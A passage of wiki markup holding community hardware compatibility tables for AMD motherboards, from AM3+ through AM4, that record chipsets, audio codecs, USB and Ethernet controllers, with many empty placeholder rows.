| &lt;!--Opinion--&gt;P23 issues with audio ALC887 crackles thru earphones - 
|-
| &lt;!--Name--&gt;Gigayte GA-MA770T-UD3P (rev. 3.1) 
| &lt;!--Chipset--&gt;amd 770 with sb710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 
| &lt;!--Gfx--&gt;pci-e slot 
| &lt;!--Audio--&gt;HDaudio with Realtek ALC888/892 codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111d/e 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;ASRock 890FX Deluxe5 Extreme3 
| &lt;!--Chipset--&gt;AMD 890FX + AMD SB850 or SB950 (Extreme3) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{Yes}}
| &lt;!--Gfx--&gt;{{N/A}}
| &lt;!--Audio--&gt;{{Maybe|ALC892}}
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{Yes|RTL8111E rtl8169}}
| &lt;!--Opinion--&gt; 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M5A97 R2.0 EVO 
| &lt;!--Chipset--&gt;AMD 970 and SB950 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Asmedia SATA Controller 
| &lt;!--Gfx--&gt;n/a
| &lt;!--Audio--&gt;HDAudio with Realtek ALC887 (LE), ALC887 (Regular), ALC892 (EVO) codec 
| &lt;!--USB--&gt;4 USB 2.0 and 2 Asmedia USB3.0 Controller 
| &lt;!--Ethernet--&gt;Realtek 8111F 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-970A-D3 
| &lt;!--Chipset--&gt;AMD 970 with SB950 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes| }}
| &lt;!--SATA--&gt;{{Yes|IDE mode}}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt; ALC??? (rev. 1.0/1.1), ALC887 (rev1.2), VIA VT2021 codec (rev 1.3 1.4 and rev3.0) 
| &lt;!--USB--&gt;{{yes|AMD USB2 but not Etron EJ168 chip (USB3)}}
| &lt;!--Ethernet--&gt;Realtek GbE 8111E (all revisions), 
| &lt;!--Opinion--&gt;2015 64bit - ATX Form Factor 30.5cm x 22.4cm - 4 x 1.5V DDR3 DIMM sockets - 
|-
| &lt;!--Name--&gt;MSI 970 Gaming 
| &lt;!--Chipset--&gt;970FX SB950
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Realtek® ALC1150 Codec
| &lt;!--USB--&gt;6 usb2 with 2 USB3 VIA VL806 Chipset 
| &lt;!--Ethernet--&gt;Killer E2205 Gigabit LAN 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M5A99X EVO 
| &lt;!--Chipset--&gt;990X - RD980 with SB920 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;2 pci-e gen ?
| &lt;!--Audio--&gt;HDAudio with ALC892 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 realtek 8111e 
| &lt;!--Opinion--&gt;2012 64bit - 
|-
| &lt;!--Name--&gt;Gigabyte GA-990XA-UD3 
| &lt;!--Chipset--&gt;AMD 990 with SB950 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC889 (rev 1.x, 3.0, 3.1), 
| &lt;!--USB--&gt;{{yes|AMD USB2 not 2 x Etron EJ168 chips for USB3}}
| &lt;!--Ethernet--&gt;realtek rtl8169 8111e 
| &lt;!--Opinion--&gt;2012 64bit - ATX Form Factor; 30.5cm x 24.4cm - 4 ddr3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====AMD Fusion (2011/14)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt; 
| 1.2GHz single Bobcat Fusion C30 + Hudson M1 
| ACPI
| IDE
| SATA
| AMD 6250 
| Audio
| USB
| Ethernet
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| Asus E35M1-M PRO uATX
| 1.6GHz 18W AMD Fusion E-350 dual core + Hudson M1
| ACPI
| {{N/A}}
| SATA
| AMD 6310 - no HD driver yet 
| ALC887 VD2 
| USB
| RTL8111E 
| 2011 64bit does not support AVX or SSE 4.1 - EFI bios - pci slot - 
|-
| Asus E35M1-I Deluxe miniITX
| 1.6GHz dual AMD Fusion E350 + Hudson M1 + DDR3
| ACPI
| {{N/A}}
| SATA
| AMD 6310 - no HD driver yet 
| ALC892 
| USB
| Realtek 8111E 
| 2011 64bit does not support AVX or SSE 4.1 - no support for Atheros AR5008 on a Mini PCI-E - 1 pci slot - 
|-
| ASRock E350M1 / USB3 (also version with USB3.0 added) 
| 1.6GHz dual AMD Fusion E350 + Hudson M1 
| ACPI
| {{N/A}}
| SATA - 4 SATA3 
| {{Maybe|AMD 6310 - use vesa with hdmi and dvi}} 
| {{Yes|Audio ALC892 playback but no HDMI output}} 
| USB - 4 USB2.0 and 2 USB3.0 
| {{Yes|rtl8169 for Realtek rtl8111E}}
| 2011 64bit does not support AVX or SSE 4.1 - 1 pci-e 2.0 x4 slot - f2 or del bios, f11 boot select - 
|-
| &lt;!--Name--&gt;Gigabyte GA-E350N-USB3 mini-ITX
| &lt;!--Chipset--&gt; Hudson M1 FCH 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 SATA3 
| &lt;!--Gfx--&gt; plus HDMI, DVI 
| &lt;!--Audio--&gt;ALC892 
| &lt;!--USB--&gt;2 NEC USB3.0 with 4 USB2.0 
| &lt;!--Ethernet--&gt;rtl8169 for Realtek rtl8111E 
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 1 pci slot - 
|-
| &lt;!--Name--&gt;Gigabyte GA-E350N Win8 V1.0 
| &lt;!--Chipset--&gt;Hudson M1 FCH A45 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 SATA3 
| &lt;!--Gfx--&gt;{{maybe|Use VESA - AMD 6310 plus HDMI, DVI}} 
| &lt;!--Audio--&gt;{{yes|ALC887 playback through headphones but not thru hdmi}} 
| &lt;!--USB--&gt;{{maybe|4 USB2.0 needs more testing}} 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 for Realtek 8111e}} 
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - works well but need to test with sata hard disk 
|-
| &lt;!--Name--&gt;MSI E350IA-E45 
| &lt;!--Chipset--&gt;e-350 + Hudson M1 + DDR3 
| &lt;!--ACPI--&gt;no support 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 Sata3 ports 
| &lt;!--Gfx--&gt;AMD 6310 gpu 
| &lt;!--Audio--&gt;ALC HDA 
| &lt;!--USB--&gt;6 USB2.0 and 2 USB3.0 through NEC 720200 chipset 
| &lt;!--Ethernet--&gt;Realtek RTL8111E 
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;ASUS E45M1-M PRO 
| &lt;!--Chipset--&gt;E450 APU with Hudson M1 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC887 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;ASUS E45M1-I Deluxe 
| &lt;!--Chipset--&gt;E-450 together 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC892 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111E
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket FM1 (2011/13)=====

On board Graphic on CPU - HD6410D, HD6530D, HD6550D, 

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;ASUS F1A55-M LE 
| &lt;!--Chipset--&gt;  with AMD A55 FCH (Hudson D2)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;6 x SATA 3Gbit/s port(s), blue Support Raid 0, 1, 10, JBOD 
| &lt;!--Gfx--&gt;PCI-e 2.0 slot or Integrated AMD Radeon™ HD 6000 in Llano APU 
| &lt;!--Audio--&gt;Realtek® ALC887 Audio CODEC  
| &lt;!--USB--&gt;6 USB2.0 ports
| &lt;!--Ethernet--&gt;Realtek 8111E rtl8169 
| &lt;!--Opinion--&gt;2012 2011 64bit does not support AVX or SSE 4.1 - A-Series/E2- Series APUs up to 4 cores - 2 x DIMM, Max. 32GB, DDR3 2250(O.C.)/1866/1600/1333/1066 MHz Non-ECC, Un-buffered Memory Dual Channel Memory Architecture  - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket FM2 White Socket (2012/13)=====

Onboard Gfx on CPU - HD6570, HD7480D, HD7540D, 

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A75 A85X 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2012 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket FM2 Plus Black socket (2013/15)=====

Onboard Gfx on CPU - HD6570, HD7480D, HD7540D, 

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A88X 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket AM1 FS1b socket (2014/1x)=====

5350 4 core Jaguar cores 2GHz with Integrated AMD Radeon R Series Graphics in the APU Kabini [Radeon HD 8400] 

Later Beema APU with 2/4 core Puma (slightly updated Jaguar) cores, GCN graphics and a compute capable Radeon core, along with a brand new AMD security processor and FT3 BGA packaging (probably best avoided for long term survival).

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;ASUS AM1I-A 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HD Audio Realtek® ALC887-VD 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111GR 8168 
| &lt;!--Opinion--&gt;2011 64bit may support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;MSI AM1I 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HD Audio ALC887
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111G
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI AM1M 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HD Audio ALC887
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111G
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;BGA FT3 AM1x 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket AM4 FM3 Summit Ridge Zen Zen+ (2016/22)=====

Jim Keller’s group designed x86 Zen CPU - new and covering the same AM4 platform/socket for desktop 

Zen will also shift from Bulldozer’s Clustered Multithreading (CMT) to Simultaneous Multithreading (SMT, aka Intel’s Hyperthreading). CMT is the basis for Bulldozer’s unusual combination of multiple integer cores sharing a single FPU within a module, so the move to SMT is a more “traditional” design for improving resource usage

Trusted Platform Module, or fTPM, that Windows 11 requires. Ryzen processors using a firmware TPM are causing stutters, even when doing mundane tasks. To enable TPM 2.0 on your AMD system please follow the steps below.
&lt;pre&gt;
    Power on system and press DEL or F2 to get into the BIOS.
    Navigate to Advanced\CPU Configuration.
    Enable AMD fTPM switch.
    Press F10 to save changes.
&lt;/pre&gt;

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Asus ROG Crosshair VI Hero 
| &lt;!--Chipset--&gt;X370 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 3.0 (1x16 or 2x8) 
| &lt;!--Audio--&gt;SupremeFX audio features an S1220 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel I211 
| &lt;!--Opinion--&gt;Ryzen 7 1800X 1700X 
|-
| &lt;!--Name--&gt;Biostar X370gtn Itx Am4
| &lt;!--Chipset--&gt;AMD X370 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HDAudio with ALC892 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek Dragon LAN RTL8118AS 
| &lt;!--Opinion--&gt;  2 ddr4 slots 
|-
| &lt;!--Name--&gt;Gigabyte GA-AX370 K7 
| &lt;!--Chipset--&gt; X370 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HDAudio with 2 x Realtek® ALC1220 codec 0x10EC, 0x0295
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;1 intel and 1 E2500 
| &lt;!--Opinion--&gt;  4 ddr4 slots 
|-
| &lt;!--Name--&gt;MSI Xpower Gaming Titanium 
| &lt;!--Chipset--&gt; X370 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;8-channel Realtek 1220 Codec 0x10EC, 0x0295
| &lt;!--USB--&gt;ASMedia® ASM2142 and amd cpu 
| &lt;!--Ethernet--&gt;1 x Intel® I211AT Gigabit LAN 
| &lt;!--Opinion--&gt;  2 ddr4 slots 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus Prime B350 Plus ATX 
| &lt;!--Chipset--&gt;B350
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt; x PCIe 3.0/2.0 x16 (x16 mode) 
| &lt;!--Audio--&gt;Realtek® ALC887 8-Channel  
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek® RTL8111H
| &lt;!--Opinion--&gt;Ryzen 5 1600x 1600 1500X 1400 - 4 x DIMM Max 64GB, DDR4 up to 2666MHz ECC and non-ECC Memory - ATX 12 inch x 9.35 inch ( 30.5 cm x 23.7 cm )  - 2 pci 
|-
| &lt;!--Name--&gt;Asus PRIME B350M-A/CSM Micro ATX 
| &lt;!--Chipset--&gt;AMD B350
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HDaudio with  
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek LAN 
| &lt;!--Opinion--&gt;Ryzen 3 1300x 1200 1100 
|-
| &lt;!--Name--&gt;AsRock Pro4 AB350 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;2 PCIe 3.0 x16, 4 PCIe 2.0 x1 
| &lt;!--Audio--&gt;Realtek ALC892
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Opinion--&gt;2017 64bit - 
|-
| &lt;!--Name--&gt;ASRock AB350 Gaming-ITX/ac
| &lt;!--Chipset--&gt; B350 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel LAN 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI B350 Tomahawk Arctic Mortar 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;1 x PCIe 3.0 x16 (x16 mode) 
| &lt;!--Audio--&gt;Realtek ALC892 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8111H 
| &lt;!--Opinion--&gt;white and grey colours - 2 pci-e and 2 pci slots - m.2 in middle - atx 12 in by 9.6 in and matx versions - 
|-
| &lt;!--Name--&gt;Jginyue M-ATX B350M-TI 
| &lt;!--Chipset--&gt;B350
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Jginyue B350I-Plus ITX  
| &lt;!--Chipset--&gt;B350
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASRock A320M-ITX MINI ITX Rev1.0 Rev2 Rev2.1 
| &lt;!--Chipset--&gt;A320 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;
